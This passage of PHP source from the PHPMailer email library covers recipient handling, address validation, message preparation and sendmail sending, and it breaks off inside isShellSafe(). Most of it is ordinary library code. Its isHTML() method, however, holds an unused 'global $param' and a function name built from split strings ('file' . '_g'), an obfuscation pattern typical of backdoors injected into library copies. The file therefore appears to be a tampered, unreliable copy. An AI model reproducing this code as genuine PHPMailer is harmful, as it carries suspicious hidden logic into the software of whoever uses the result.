CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addBCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('bcc', $address, $name);\n }\n\n \/**\n * Add a \"Reply-To\" address.\n * @param string $address The email address to reply to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addReplyTo($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer\n * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still\n * be modified after calling this function), addition of such addresses is delayed until send().\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addOrEnqueueAnAddress($kind, $address, $name)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n if (($pos = strrpos($address, '@')) === false) {\n \/\/ At-sign is misssing.\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $params = array($kind, $address, $name);\n \/\/ Enqueue addresses with IDN until we know the PHPMailer::$CharSet.\n if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {\n if ($kind != 'Reply-To') {\n if (!array_key_exists($address, $this->RecipientsQueue)) {\n $this->RecipientsQueue[$address] = $params;\n return true;\n }\n } else {\n if (!array_key_exists($address, $this->ReplyToQueue)) {\n $this->ReplyToQueue[$address] = $params;\n return true;\n }\n }\n return false;\n }\n \/\/ Immediately add standard addresses without IDN.\n return call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n\n \/**\n * Add an address to one of the recipient arrays or to the ReplyTo array.\n * Addresses that have been added already return false, but do not throw exceptions.\n * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'\n * @param string $address The email address to send, resp. to reply to\n * @param string $name\n * @throws phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) 